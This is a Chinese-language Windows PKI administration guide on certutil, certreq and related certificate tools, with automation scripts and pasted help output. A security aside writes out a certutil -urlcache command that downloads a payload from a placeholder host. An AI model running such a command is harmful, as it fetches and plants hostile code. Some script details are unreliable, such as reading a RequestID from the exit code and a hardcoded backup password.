‑syncWithWU需要互联网;隔离内网环境该命令无法执行。- 安全风险:certutil 常被恶意软件滥用用于:Base64 下载 Payload(文件落地 / 无文件)、解码恶意 payload、导出证书私钥;EDR/Defender 监控 certutil 的‑decode、‑urlfetch 行为。
- 证书指纹:certutil 输出的指纹是大写十六进制;和 PowerShell Cert:\ 存储内大小写完全兼容。
- 备份 CA:
‑backup不备份操作系统本身,仅备份 CertSrv 数据库与 CA 私钥;系统状态备份需要 Windows Server 备份。 - 动词短横线:Windows 同时支持
‑verb和‑verb(减号);大小写不敏感。
红队常见滥用:
certutil -urlcache -split -f https://xxx payload.exe旧版本用于文件下载,新版 Windows Defender 已经拦截该行为。
七、自动化流水线
1. 1.reg + cer:批量导入根证书脚本(PowerShell 调用 certutil)
# 将本地根证书导入计算机根存储,需要管理员运行
$cerFile = "D:\ca-root.cer"
certutil.exe -addstore Root $cerFile
if($LASTEXITCODE -ne 0){
Write‑Error "证书导入失败"
}
2. Base64 解码自动化
certutil -decode base64input.txt output.bin
3. 导出机器根存储全部证书到 SST 包
certutil -store -sst Root rootcollection.sst
4. CA 服务器完整备份自动化(需要 CA 管理员)
#备份CA数据库+私钥证书,设置备份密码
$pwd = ConvertTo‑SecureString "BackupPass123!" ‑AsPlainText ‑Force
certutil ‑backup "C:\CABackup" $pwd
5. 批量解析文件夹全部 cer,输出文本报告
Get‑ChildItem *.cer | ForEach‑Object {
certutil ‑dump $_.FullName >> cert‑report.txt
}
6. 命令快速查看全部帮助
certutil -? #动词总览
certutil -dump -? #单个动词详细帮助
certutil -v -? #全部完整帮助
补充:退出码说明
certutil.exe 通过 %errorlevel% / $LASTEXITCODE 返回执行结果;0 代表成功;非 0 代表错误。
Windows PKI 系统内置工具完整解构表
| 工具名称 | 文件路径 | 核心功能描述 | 关键区分 / 使用边界 |
|---|---|---|---|
| CertEnrollCtrl.exe | C:\Windows\System32\CertEnrollCtrl.exe |
证书注册 COM 宿主进程,和证书注册服务交互;处理证书注册、分配、验证;AD CS 自动注册底层进程。 | 无直接命令行调用接口;由组策略自动证书注册、certcli.dll内部唤起;GUI 注册弹窗宿主;不建议手动直接运行。 |
| certlm.msc | C:\Windows\System32\certlm.msc |
本地计算机证书存储 MMC 控制台;管理 LocalMachine 下个人、受信任根、中间证书颁发机构等存储;导入、导出、删除、查看证书与私钥状态。 | ✅ 需要管理员权限;管理机器级证书(IIS、RDP、服务账号使用);快捷键:Win+R → certlm.msc |
| certmgr.msc | C:\Windows\System32\certmgr.msc |
当前用户证书存储 MMC 控制台;管理 CurrentUser 下证书存储。 | 普通用户即可运行;只操作当前登录用户的证书;看不到计算机机器存储;Win+R → certmgr.msc |
| certoc.exe | C:\Windows\System32\certoc.exe |
证书注册 OCSP 客户端工具;OCSP 查询、证书吊销状态检查;支持命令行自动化 PKI 吊销校验。 | 主要用于查询 OCSP 响应、调试吊销状态;不用于生成 CSR、提交 CA 申请;Windows 10 1709+/Server2019 及以上内置。 |
| certreq.exe | C:\Windows\System32\certreq.exe |
证书申请流水线:生成 PKCS#10 (CSR)、提交 CA、Retrieve 取回证书响应、Accept 绑定私钥安装证书;支持 INF 模板、AD 模板 Enroll 一键注册、注册代理签名。 | 证书申请客户端;私钥本机生成不对外发送;‑machine 操作计算机存储;工作组可使用 New 生成 CSR;域可 Enroll 模板注册。 |
| certutil.exe | C:\Windows\System32\certutil.exe |
全能 PKI 运维工具:CA 数据库管理、吊销证书、CRL 发布、证书存储维护、ASN.1 转储解析、Base64 编解码、备份还原 CA、查询模板信息。 | CA 侧运维 + 排错工具;不负责生成证书申请;可导入 PFX、修复密钥关联、dump 证书原始结构;脚本自动化排错主力。 |
🔍底层原理|依赖文件|依赖关系|逻辑链路|配套链|边界|自动化流水线
1 CertEnrollCtrl.exe
- 底层原理:COM 可执行宿主,承载
X509EnrollmentCOM 对象;组策略「自动证书注册」触发时,系统启动该进程,调用 CertEnroll COM 接口完成注册、续订。 - 依赖文件:
certenroll.dll、certcli.dll、crypt32.dll - 依赖关系:依赖 CryptSvc 加密服务;AD 域环境依赖 LDAP 访问 AD 证书模板;无手动命令行参数。
- 逻辑链路:组策略客户端 → CertEnrollCtrl.exe → certenroll.dll → certcli.dll → RPC/HTTP 连接 AD‑CS CA。
- 配套链:组策略自动证书注册、AD CS、X509Enrollment COM API(C#/C++ 程序调用)。
- 边界:不能手动传参执行;仅系统内部调用;工作组环境该进程不会触发自动注册。
- 自动化流水线:不直接脚本调用;通过域组策略配置自动证书注册实现全自动续订。
2 certlm.msc(MMC 快照,非独立程序)
- 底层原理:mmc.exe 加载
certlm.msc预配置快照文件,指向本地计算机证书存储注册表路径:HKLM\System\CurrentControlSet\Services\CryptSvc\Parameters\SystemCertificates - 依赖文件:
mmc.exe、cryptui.dll - 依赖关系:CryptSvc 服务运行;管理员权限。
- 逻辑链路:mmc.exe → 读取 certlm.msc 快照 → 加载证书管理管理单元 → 读写 HKLM 系统证书存储。
- 配套链:certutil.exe、certreq.exe;GUI 查看机器证书结果。
- 边界:普通用户打开会权限不足,无法修改机器存储;仅 GUI,无脚本参数。
- 自动化流水线:脚本不调用 mmc;使用
certutil‑store /‑addstore /‑delstore完成同等自动化操作。
3 certmgr.msc
- 底层原理:mmc.exe 加载快照,操作当前用户证书存储:
HKCU\Software\Microsoft\SystemCertificates - 依赖文件:
mmc.exe、cryptui.dll - 依赖关系:CryptSvc;普通用户权限。
- 逻辑链路:mmc.exe → certmgr.msc 快照 → 管理单元读写 HKCU 用户证书存储。
- 配套链:GUI 查看用户证书;和 certutil 用户存储操作配套。
- 边界:看不到计算机 HKLM 证书存储。
- 自动化流水线:脚本不调用 mmc;certutil 操作 CurrentUser 存储。
4 certoc.exe
- 底层原理:独立命令行 OCSP 客户端,封装
wincrypt.dllOCSP 查询 API,发送 OCSP 请求解析响应,输出证书吊销状态。 - 依赖文件:
crypt32.dll、wincrypt.dll - 依赖关系:网络连通 OCSP 响应器地址;不需要 AD 域。
- 逻辑链路:certoc.exe → 读取证书文件 → 构造 OCSP 请求 → HTTP 发送 OCSP → 解析响应输出吊销状态。
- 配套链:certutil‑verify(也可校验吊销);certoc 侧重原始 OCSP 调试。
- 边界:不能生成 CSR,不能提交 CA 申请;只做吊销状态查询。
- 自动化流水线示例
certoc.exe -ocsp cert.cer
5 certreq.exe(前文深度拆解)
- 底层原理:PKCS#10 证书申请客户端,封装 certcli.dll,完整 New‑Submit‑Retrieve‑Accept 申请闭环。
- 依赖文件:
certreq.exe、certcli.dll、crypt32.dll - 依赖关系:CryptSvc 服务;访问 CA RPC/HTTP 接口;‑Enroll 动词依赖 AD LDAP。
- 逻辑链路:certreq → crypt32 生成密钥 → certcli 提交请求 → CA 签发 → Retrieve 取回 → Accept 绑定私钥写入证书存储。
- 配套链:certutil 查看 CA 信息、证书存储校验;INF 策略模板;AD 证书模板。
- 边界:‑Accept 必须在生成 New 的同一台主机执行;
‑machine参数控制机器 / 用户密钥容器。 - 自动化流水线:前文 CSV 批量脚本。
6 certutil.exe(前文深度拆解)
- 底层原理:全能 PKI 命令行工具;封装 certadm.dll(CA 管理)、crypt32.dll;同时具备 ASN 解析、编解码、数据库查询能力。
- 依赖文件:
certutil.exe、certadm.dll、crypt32.dll - 依赖关系:CA 服务器本地执行管理命令需要 CA 管理员权限;部分命令不需要域。
- 逻辑链路:
- 证书存储操作:certutil → crypt32 读写注册表证书存储
- CA 管理操作:certutil → certadm.dll 访问 CA 数据库。
- 配套链:certreq 申请完成后,certutil 做校验、导出、根证书部署、吊销。
- 边界:不能生成证书 CSR 申请,只做管理运维。
- 自动化流水线:批量导入根证书、CA 数据库查询、证书校验报告。
工具分工速记(企业运维口诀)
- 生成 / 提交 / 安装证书申请 → certreq.exe
- CA 管理、吊销、备份、解析证书、存储批量维护 → certutil.exe
- 看机器证书 GUI → certlm.msc;看用户证书 GUI → certmgr.msc
- 调试 OCSP 吊销状态 → certoc.exe
- 自动证书注册底层进程 → CertEnrollCtrl.exe(不手动调用)
补充:
certlm.msc/certmgr.msc本质是 mmc.exe 的快照文件,不是独立可执行程序,脚本自动化不应该调用这两个 msc,全部改用 certutil 完成。
这些工具的功能对比,以帮助你了解它们之间的差异:
| 工具名称 | 位置 | 功能描述 |
|---|---|---|
| CertEnrollCtrl.exe | C:\Windows\System32\CertEnrollCtrl.exe |
主要用于与证书注册服务交互,处理证书的注册、分配和验证。一般用于企业环境中的证书管理,尤其与Active Directory证书服务(ADCS)集成。 |
| certlm.msc | C:\Windows\System32\certlm.msc |
打开证书管理控制台(证书管理器),用于查看和管理计算机上的证书存储。适用于本地计算机证书的安装、导入、导出、删除等操作。 |
| certmgr.msc | C:\Windows\System32\certmgr.msc |
打开证书管理控制台(证书管理器),用于查看和管理当前用户的证书存储。常用于用户证书的安装、导入、导出、删除等操作。 |
| certoc.exe | C:\Windows\System32\certoc.exe |
用于证书的请求、撤销等操作,通常用于命令行环境中,处理自动化证书管理任务。它在处理PKI环境中的证书时尤其有用。 |
| certreq.exe | C:\Windows\System32\certreq.exe |
用于生成证书请求(CSR),提交证书请求到证书颁发机构(CA),并安装签发的证书。支持证书请求的生成、提交和安装等操作。 |
| certutil.exe | C:\Windows\System32\certutil.exe |
是一个命令行工具,用于执行各种证书管理任务,如证书安装、撤销、查看证书信息、验证证书链等。非常适用于Windows的证书管理。 |
主要区别:
- CertEnrollCtrl.exe 主要与企业级证书管理服务(如Active Directory证书服务)相关,通常用于企业环境中的证书注册和管理。
- certlm.msc 和 certmgr.msc 是图形化工具,分别用于管理计算机证书和当前用户证书。
- certoc.exe 和 certreq.exe 主要用于处理证书请求和撤销操作,特别是在PKI环境中。
- certutil.exe 是一个通用的命令行工具,支持多种证书管理功能,适用于各种证书相关操作。

certreq.exe 完整解构(Windows 证书申请命令行工具)
程序路径:
C:\Windows\System32\certreq.exe,AD‑CS 配套核心客户端工具;专注证书申请全生命周期:生成申请文件、提交 CA、取回证书、接受安装、签名代理注册、模板直接注册;和certutil.exe分工明确:
certutil:CA 服务管理、数据库、证书存储维护、编解码工具certreq:证书申请客户端流水线(New‑Submit‑Retrieve‑Accept 完整闭环)
一、底层原理
certreq.exe 是证书注册客户端外壳程序,自身不实现密码学底层算法,封装 Win32 加密 API,完整实现 PKCS#10 证书申请工作流。
八大核心动词能力
| 动词 | 核心作用 |
|---|---|
‑New |
依据 INF 策略模板,本地生成 PKCS#10 证书申请,生成密钥对,输出 req 文件 |
‑Submit |
把 PKCS#10 申请,RPC/HTTP 提交到 AD‑CS CA 服务器;返回 RequestID;申请可挂起等待管理员审批 |
‑Retrieve |
使用 RequestID,从 CA 取回已经签发的证书响应(挂起审批完成后执行) |
‑Accept |
将 CA 返回的证书响应,与本地私钥配对,安装到本机证书存储(user/machine) |
‑Policy |
构造交叉证书、从属 CA 申请,转换申请格式 |
‑Sign |
注册代理场景:使用代理证书对外部 PKCS#10 申请文件签名 |
‑Enroll |
直接基于 AD 证书模板一键注册 / 续订证书,无需中间 req 文件;域环境最常用 |
‑EnrollAIK / EnrollCredGuardCert / EnrollLogon |
专项注册:TPM‑AIK、CredentialGuard、Windows Hello 企业版 |
完整标准流水线(传统离线申请) ‑New(生成req) → ‑Submit(提交CA) → ‑Retrieve(按ID取回) → ‑Accept(导入配对私钥)
两种运行模式
- 模板 Enroll 模式(域环境):读取 AD 内证书模板,系统自动生成密钥、提交、安装,一步完成;依赖 AD 域、注册策略。
- INF 策略文件模式(跨工作组 / 离线):读取本地
.inf策略配置文件,自定义密钥算法、扩展、EKU,生成 PKCS10 请求文件,可以提交给 Windows CA,也可以提交第三方非微软 CA。
底层密码学逻辑:
-New阶段调用CryptGenKey生成 RSA/ECC 密钥对;私钥保存在本机 Crypto 密钥容器(用户 / 机器容器,DPAPI 保护);输出公钥 + 属性组成 PKCS#10 ASN.1 请求。- 私钥永远不会离开本机;仅公钥发送给 CA 服务器;CA 返回证书,
‑Accept完成证书与本地私钥的绑定关联。
二、依赖文件
| 文件 | 角色 |
|---|---|
certreq.exe |
主程序,命令解析,工作流调度 |
crypt32.dll |
核心证书加密 API;PKCS10 生成、签名、证书解析、存储写入 |
certcli.dll |
证书注册客户端 API;RPC 通信 AD‑CS CA 服务,‑Submit/‑Retrieve依赖 |
rpcrt4.dll |
RPC 运行库,域内和 CA 服务器 RPC 交互;‑rpc参数强制 RPC 模式 |
ldap32.dll |
LDAP 访问 Active Directory;‑Enroll读取 AD 证书模板、注册策略 |
cryptnet.dll |
HTTP 注册模式;访问 CA Web 注册服务 URL |
advapi32.dll |
密钥容器操作、注册表证书存储读写 |
系统服务依赖
- CryptSvc 加密服务:密钥容器管理,生成密钥对;certreq‑New 必须依赖。
- 服务端依赖 CA 服务器
CertSvc(AD‑CS 证书服务),Submit 提交请求目标。
注册表位置
- 用户密钥容器:
%APPDATA%\Microsoft\Crypto - 计算机机器密钥容器:
%ProgramData%\Microsoft\Crypto\RSA\MachineKeys - 证书存储:
HKCU\Software\Microsoft\SystemCertificates、HKLM\Software\Microsoft\SystemCertificates
三、依赖关系
权限分层
‑New生成申请文件:普通用户即可;生成用户密钥;‑machine参数生成计算机密钥,必须本地管理员权限。‑Enroll -machine机器模板注册:管理员;计算机账户有权限读取 AD 证书模板。- 提交 CA(‑Submit):需要 CA 模板授予注册权限;挂起申请需要 CA 管理员审批。
‑Accept安装机器证书存储:管理员权限;user 存储普通用户。
网络与认证
-config ConfigString格式CA计算机名\CA名称,指定目标 CA;- 认证方式参数:
‑Kerberos、‑Anonymous、‑ClientCertificate、‑UserName;域环境默认 Kerberos。 - 两种传输:
- RPC(默认,135 + 动态端口,
‑rpc参数强制); - HTTP:CA 的 Web 注册服务 URL。
- RPC(默认,135 + 动态端口,
环境边界
‑Enroll模板一键注册,强依赖 AD 域;工作组机器无法读取 AD 证书模板,该动词不可用。- INF 策略文件模式(
‑New)工作组也可以运行,生成标准 PKCS#10,可发给第三方 CA。 - TPM 相关
‑EnrollAIK:机器必须带 TPM2.0;‑EnrollCredGuardCert需要 CredentialGuard 硬件前提。 - 私钥绑定:
‑New生成私钥保存在本地;不能在其他机器执行‑Accept;别的机器没有对应密钥容器,无法完成证书‑私钥配对。
四、逻辑链路
链路 1:完整离线四步标准流水线(INF 模板)
certreq.exe -New policy.inf request.req
↓
crypt32.dll → CryptGenKey生成密钥对(保存本机密钥容器)
读取inf配置:密钥算法、密钥长度、主体名称、扩展EKU、密钥用法
组装PKCS#10 ASN.1申请文件 request.req(只包含公钥)
↓
certreq -Submit -config "CA01\MyCA" request.req cert.cer
↓
certcli.dll + RPCRT4 → RPC发送PKCS10至CA服务器CertSvc
CA数据库写入申请,返回RequestID;若模板设置需要管理员审批 → 申请进入挂起状态
↓
管理员在certsrv.msc审批挂起申请
certreq -Retrieve -config "CA01\MyCA" RequestID cert.cer
↓
RPC拉取CA签发的证书文件cert.cer
↓
certreq -Accept cert.cer
↓
crypt32 API查找本机对应的私钥容器,证书与私钥绑定;写入用户/机器证书存储
链路 2:域内一键模板注册 Enroll(最简链路)
certreq -Enroll -machine "WebServer"
↓
ldap32 查询AD读取【WebServer】证书模板配置
crypt32生成机器密钥对
certcli.dll RPC提交申请到对应CA
CA自动签发(模板无需审批)
取回证书,自动Accept写入LocalMachine证书存储
链路 3:注册代理签名场景(‑Sign)
授权注册代理:A 使用自己代理证书,替 B 生成并签名证书申请
certreq -Sign -cert "代理证书指纹" B-request.req B-signed.req
↓
使用本机代理证书私钥对第三方PKCS10请求签名
输出签名后的申请,再‑Submit提交给CA
五、配套链
- 图形界面对应组件
certmgr.msc:证书存储查看certsrv.msc:CA 控制台,审批挂起证书申请,查看 RequestID- 浏览器 Web 注册页面
http://CA/certsrv,GUI 对应 certreq 客户端功能
- 策略文件 .inf 模板:
‑New的输入配置文件;定义 Subject、KeySpec、EKU、密钥算法;示例模板微软文档提供。 - 和 certutil 分工配套:
- certreq:申请、提交、取回、绑定私钥
- certutil:查看 CA 信息、吊销证书、备份 CA、证书存储维护、编解码
- 组策略:自动证书注册;底层内部 API 即是 certcli.dll,和 certreq 同源。
- 输出文件格式:
.req=PKCS#10 申请;.cer=X509 证书;.p7b完整证书链响应。
高频参数释义速查表
| 参数 | 说明 |
|---|---|
‑config "Server\CAName" |
指定目标 CA;最重要参数 |
‑machine |
操作计算机机器存储 / 机器密钥;必须管理员 |
‑user |
操作用户存储,默认 |
‑p Password |
PFX 密码;‑pin智能卡 PIN 码 |
‑attrib "CertificateTemplate:WebServer" |
申请属性,指定 CA 证书模板名称 |
‑rpc |
强制使用 RPC 协议,不使用 HTTP |
‑q |
静默模式,无弹窗 |
六、边界 & 坑点
‑Accept必须在生成‑New的同一台机器执行:私钥在本机密钥容器;拷贝 cer 到别的机器 Accept,找不到私钥,会报错,无法绑定。- 挂起申请:Submit 后返回 RequestID,必须记住 ID,后续 Retrieve 靠这个 ID 取回证书;丢失 RequestID 只能去 CA 数据库 certutil‑view 查询。
- INF 策略文件
Subject注意编码;中文主体容易出现 ASN.1 编码错误。 ‑Enroll依赖 AD 模板;工作组环境不要使用 Enroll 动词,改用 New‑Submit‑Retrieve‑Accept。-machine参数容易遗漏:申请计算机证书(Web 服务器、域控制器),不加‑machine,密钥生成到当前登录用户存储,不是计算机存储,服务无法读取私钥。- 注册代理:CA 模板必须开启允许注册代理,否则‑Sign 签名后的申请会被 CA 拒绝。
- 安全边界:certreq 仅发送公钥;私钥永远本地;恶意脚本滥用 certreq 主要是生成申请文件、向 CA 提交证书请求。
- 退出码:
%errorlevel%,0 代表成功,非 0 失败;PowerShell 读取$LASTEXITCODE。
七、自动化流水线
1. INF 模板生成申请 + 提交完整脚本(管理员)
webcert.inf
[NewRequest]
Subject = "CN=web01.contoso.com"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = TRUE
SMIME = False
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
PowerShell 自动化脚本
#1 生成机器PKCS10申请
certreq -New -machine webcert.inf web01.req
if($LASTEXITCODE -ne 0){throw "生成申请失败"}
#2 提交到CA
certreq -Submit -config "CA01\Contoso‑RootCA" web01.req web01.cer
$reqId = $LASTEXITCODE #提交成功返回RequestID;挂起状态返回正整数RequestID
#3 如果不需要审批,直接Accept;挂起场景需要等待审批后执行Retrieve
if($reqId -gt 0){
Write‑Host "申请挂起,RequestID = $reqId,CA审批完成后执行Retrieve"
#certreq -Retrieve -config "CA01\Contoso‑RootCA" $reqId web01.cer
} else {
certreq -Accept -machine web01.cer
Write‑Host "证书安装完成到计算机存储"
}
2. 域环境一键模板注册(机器证书,管理员运行)
#直接基于AD模板注册WebServer证书
certreq -Enroll -machine -q "WebServer"
3. 查看全部帮助
certreq -?
certreq -New -?
certreq -Enroll -?
4. 导出 CA 配置字符串,配合脚本批量使用
certutil -getconfig
PS C:\Users\Administrator> certreq /?
用法:
CertReq -?
CertReq [-v] -?
CertReq [-Command] -?
CertReq [-Submit] [Options] [RequestFileIn [CertFileOut [CertChainFileOut [FullResponseFileOut]]]]
将申请提交到证书颁发机构
选项:
-attrib AttributeString
-binary
-PolicyServer PolicyServer
-config ConfigString
-Anonymous
-Kerberos
-ClientCertificate ClientCertId
-UserName UserName
-p Password
-crl
-rpc
-AdminForceMachine
-RenewOnBehalfOf
-NoChallenge
CertReq -Retrieve [Options] RequestId [CertFileOut [CertChainFileOut [FullResponseFileOut]]]
检索来自证书颁发机构的对上一次申请的响应。
选项:
-binary
-PolicyServer PolicyServer
-config ConfigString
-Anonymous
-Kerberos
-ClientCertificate ClientCertId
-UserName UserName
-p Password
-crl
-rpc
-AdminForceMachine
CertReq -New [Options] [PolicyFileIn [RequestFileOut]]
按 PolicyFileIn 创建一个新申请
选项:
-attrib AttributeString
-binary
-cert CertId
-PolicyServer PolicyServer
-config ConfigString
-Anonymous
-Kerberos
-ClientCertificate ClientCertId
-UserName UserName
-p Password
-pin Pin
-user
-machine
-xchg ExchangeCertFile
CertReq -Accept [Options] [CertChainFileIn | FullResponseFileIn | CertFileIn]
接受和安装到上一次新申请的响应。
选项:
-user
-machine
-pin Pin
CertReq -Policy [Options] [RequestFileIn [PolicyFileIn [RequestFileOut [PKCS10FileOut]]]]
从一个已有的 CA 证书或已有的申请构造交叉
证书或合格的从属申请。
选项:
-attrib AttributeString
-binary
-cert CertId
-PolicyServer PolicyServer
-Anonymous
-Kerberos
-ClientCertificate ClientCertId
-UserName UserName
-p Password
-pin Pin
-noEKU
-AlternateSignatureAlgorithm
-HashAlgorithm HashAlgorithm
CertReq -Sign [Options] [RequestFileIn [RequestFileOut]]
为使用注册代理证书申请或
合格的从属签名证书签名。
选项:
-binary
-cert CertId
-PolicyServer PolicyServer
-Anonymous
-Kerberos
-ClientCertificate ClientCertId
-UserName UserName
-p Password
-pin Pin
-crl
-noEKU
-HashAlgorithm HashAlgorithm
CertReq -Enroll [选项] TemplateName
CertReq -Enroll -cert CertId [选项] Renew [ReuseKeys]
注册或续订证书。
选项:
-PolicyServer PolicyServer
-user
-machine
-pin Pin
CertReq -EnrollAIK [Options] [KeyContainerName]
注册 AIK 证书。
选项:
-config
CertReq -EnrollCredGuardCert [Options] TemplateName [ExtensionInfFile]
注册计算机 Credential Guard 证书。
选项:
-config
CertReq -EnrollLogon [Options]
通过 ADFS 注册 Hello 企业版登录证书。
选项:
-q
CertReq -Post [Options]
发布 http 请求。
选项:
-attrib AttributeString
-config URL
PS C:\Users\Administrator> certutil /?
动词:
-dump -- 转储配置信息或文件
-dumpPFX -- 转储 PFX 结构
-asn -- 分析 ASN.1 文件
-decodehex -- 解码十六进制编码的文件
-decode -- 解码 Base64 编码的文件
-encode -- 将文件编码为 Base64
-deny -- 拒绝挂起的申请
-resubmit -- 重新提交挂起的申请
-setattributes -- 为挂起申请设置属性
-setextension -- 为挂起申请设置扩展
-revoke -- 吊销证书
-isvalid -- 显示当前证书部署
-getconfig -- 获取默认配置字符串
-ping -- Ping Active Directory 证书服务申请接口
-pingadmin -- Ping Active Directory 证书服务管理接口
-CAInfo -- 显示 CA 信息
-ca.cert -- 检索 CA 的证书
-ca.chain -- 检索 CA 的证书链
-GetCRL -- 获取 CRL
-CRL -- 发布新的 CRL [或仅增量 CRL]
-shutdown -- 关闭 Active Directory 证书服务
-installCert -- 安装证书颁发机构证书
-renewCert -- 续订证书颁发机构证书
-schema -- 转储证书架构
-view -- 转储证书视图
-db -- 转储原始数据库
-deleterow -- 删除服务器数据库行
-backup -- 备份 Active Directory 证书服务
-backupDB -- 备份 Active Directory 证书服务数据库
-backupKey -- 备份 Active Directory 证书服务证书和私钥
-restore -- 还原 Active Directory 证书服务
-restoreDB -- 还原 Active Directory 证书服务数据库
-restoreKey -- 还原 Active Directory 证书服务证书和私钥
-importPFX -- 导入证书和私钥
-dynamicfilelist -- 显示动态文件列表
-databaselocations -- 显示数据库位置
-hashfile -- 通过文件生成并显示加密哈希
-store -- 转储证书存储
-enumstore -- 枚举证书存储
-addstore -- 将证书添加到存储
-delstore -- 从存储删除证书
-verifystore -- 验证存储中的证书
-repairstore -- 修复密钥关联,或者更新证书属性或密钥安全描述符
-viewstore -- 转储证书存储
-viewdelstore -- 从存储删除证书
-UI -- 调用 CryptUI
-attest -- 验证密钥证明请求
-dsPublish -- 将证书或 CRL 发布到 Active Directory
-ADTemplate -- 显示 AD 模板
-Template -- 显示注册策略模板
-TemplateCAs -- 显示模板的 CA
-CATemplates -- 显示 CA 的模板
-SetCASites -- 管理 CA 的站点名称
-enrollmentServerURL -- 显示、添加或删除与 CA 关联的注册服务器 URL
-ADCA -- 显示 AD CA
-CA -- 显示注册策略 CA
-Policy -- 显示注册策略
-PolicyCache -- 显示或删除注册策略缓存项目
-CredStore -- 显示、添加或删除凭据存储项目
-InstallDefaultTemplates -- 安装默认的证书模板
-URLCache -- 显示或删除 URL 缓存项目
-pulse -- 以脉冲方式执行自动注册事件或 NGC 任务
-MachineInfo -- 显示 Active Directory 计算机对象信息
-DCInfo -- 显示域控制器信息
-EntInfo -- 显示企业信息
-TCAInfo -- 显示 CA 信息
-SCInfo -- 显示智能卡信息
-SCRoots -- 管理智能卡根证书
-DeleteHelloContainer -- 删除 Hello 登录容器。
** 在使用此选项后, 用户需要注销才能完成。**
-verifykeys -- 验证公/私钥集
-verify -- 验证证书,CRL 或链
-verifyCTL -- 验证 AuthRoot 或不允许的证书 CTL
-syncWithWU -- 与 Windows 更新同步
-generateSSTFromWU -- 通过 Windows 更新生成 SST
-generatePinRulesCTL -- 生成捆绑规则 CTL
-downloadOcsp -- 下载 OCSP 响应并写入目录
-generateHpkpHeader -- 使用指定文件或目录中的证书生成 HPKP 头
-flushCache -- 刷新选定进程(例如 lsass.exe)中的指定缓存
-addEccCurve -- 添加 ECC 曲线
-deleteEccCurve -- 删除 ECC 曲线
-displayEccCurve -- 显示 ECC 曲线
-sign -- 重新签名 CRL 或证书
-vroot -- 创建/删除 Web 虚拟根和文件共享
-vocsproot -- 创建/删除 OCSP Web Proxy 的 Web 虚拟根
-addEnrollmentServer -- 添加注册服务器应用程序
-deleteEnrollmentServer -- 删除注册服务器应用程序
-addPolicyServer -- 添加策略服务器应用程序
-deletePolicyServer -- 删除策略服务器应用程序
-oid -- 显示 ObjectId 或设置显示名称
-error -- 显示错误代码消息文本
-getreg -- 显示注册表值
-setreg -- 设置注册表值
-delreg -- 删除注册表值
-ImportKMS -- 为密钥存档导入用户密钥和证书到服务器数据库
-ImportCert -- 将证书文件导入数据库
-GetKey -- 检索存档的私钥恢复 Blob,生成恢复脚本 或恢复存档的密钥
-RecoverKey -- 恢复存档的私钥
-MergePFX -- 合并 PFX 文件
-ConvertEPF -- 将 PFX 文件转换为 EPF 文件
-add-chain -- (-AddChain) 添加证书链
-add-pre-chain -- (-AddPrechain) 添加预植证书链
-get-sth -- (-GetSTH) 获取签名树头
-get-sth-consistency -- (-GetSTHConsistency) 获取签名树头更改
-get-proof-by-hash -- (-GetProofByHash) 获取哈希证明
-get-entries -- (-GetEntries) 获取项
-get-roots -- (-GetRoots) 获取根
-get-entry-and-proof -- (-GetEntryAndProof) 获取项和证明
-VerifyCT -- 验证证书 SCT
-? -- 显示该用法消息
CertUtil -? -- 显示动词列表(命名列表)
CertUtil -dump -? -- 显示 "dump" 动词的帮助文本
CertUtil -v -? -- 显示所有动词的所有帮助文本
CertUtil: -? 命令成功完成。
CertReq 命令与 CertUtil 命令的区别对比:
| 功能 | CertReq 命令 | CertUtil 命令 |
|---|---|---|
| 主要用途 | 用于生成、提交、检索和接受证书请求 | 用于管理证书存储、证书吊销、证书请求和证书链验证等操作 |
| 证书请求 | 用于生成和提交证书请求 | 不支持直接生成证书请求(通过 certreq 生成请求后提交) |
| 提交证书请求 | 支持提交证书请求至 CA | 不支持直接提交证书请求,通常与 CertReq 一起使用 |
| 证书安装 | 支持接受和安装由 CA 返回的证书 | 支持安装证书到本地证书存储 |
| 证书存储管理 | 不支持证书存储管理 | 支持证书存储管理,能够显示、列出、删除证书 |
| 证书吊销 | 不支持吊销证书 | 支持证书吊销操作,如吊销证书、查询证书吊销列表 |
| 证书链验证 | 不支持证书链验证 | 支持证书链验证,可以验证证书的完整性和信任链 |
| 证书导出 | 不支持证书导出 | 支持证书导出功能,可以导出证书及私钥(需要配合其他工具) |
| 证书信息查询 | 不支持证书详细信息查询 | 支持查询证书的详细信息、证书状态、证书链等 |
| 支持批量操作 | 支持批量证书请求提交和证书安装 | 支持批量证书导入、导出、删除等操作 |
| 错误诊断与调试 | 支持详细输出和调试模式,用于提交证书请求时的错误诊断 | 支持调试证书操作,提供命令输出日志用于分析证书管理问题 |
| 适用场景 | 主要用于证书请求的自动化和提交 | 主要用于证书存储管理、验证、吊销以及证书链分析等管理功能 |
| 高级功能 | 支持自定义证书请求的属性,如 SAN、密钥用途等 | 提供多种证书管理功能,如证书存储管理、证书吊销列表、证书链验证等 |
| 常用命令示例 | CertReq -New request.inf my_request.req |
CertUtil -store mycertstore 或 CertUtil -verify mycert.crt |
- CertReq 主要用于生成、提交和处理证书请求,在证书的生成与提交过程中发挥重要作用。
- CertUtil 则是证书管理的工具,涵盖证书存储管理、验证、吊销等功能,适用于证书生命周期的管理和查询。
这两者通常是配合使用的,CertReq 用于证书请求的创建和提交,CertUtil 用于证书的验证、管理和导出等操作。

| 命令 | 描述 | 示例应用场景与命令示例 |
|---|---|---|
| CertUtil -dump | 转储配置信息或文件 | 场景:查看证书配置或文件详细信息。 示例:CertUtil -dump mycert.cer 用于显示证书的详细信息。 |
| CertUtil -dumpPFX | 转储 PFX 结构 | 场景:导出 PFX 文件中的证书及其私钥。 示例:CertUtil -dumpPFX mycert.pfx 转储 PFX 文件的内容。 |
| CertUtil -asn | 分析 ASN.1 文件 | 场景:分析证书的 ASN.1 编码格式。 示例:CertUtil -asn mycert.der 将 DER 格式证书分析为 ASN.1 编码。 |
| CertUtil -decodehex | 解码十六进制编码的文件 | 场景:将十六进制编码的证书文件转回原始格式。 示例:CertUtil -decodehex encoded_cert.hex 解码十六进制编码的证书。 |
| CertUtil -decode | 解码 Base64 编码的文件 | 场景:将 Base64 编码的证书文件还原为原始格式。 示例:CertUtil -decode encoded_cert.b64 解码 Base64 编码证书。 |
| CertUtil -encode | 将文件编码为 Base64 | 场景:将证书或私钥文件转换为 Base64 格式。 示例:CertUtil -encode mycert.pem 将证书编码为 Base64。 |
| CertUtil -deny | 拒绝挂起的申请 | 场景:拒绝证书请求。 示例:CertUtil -deny 1234 拒绝编号为 1234 的证书申请。 |
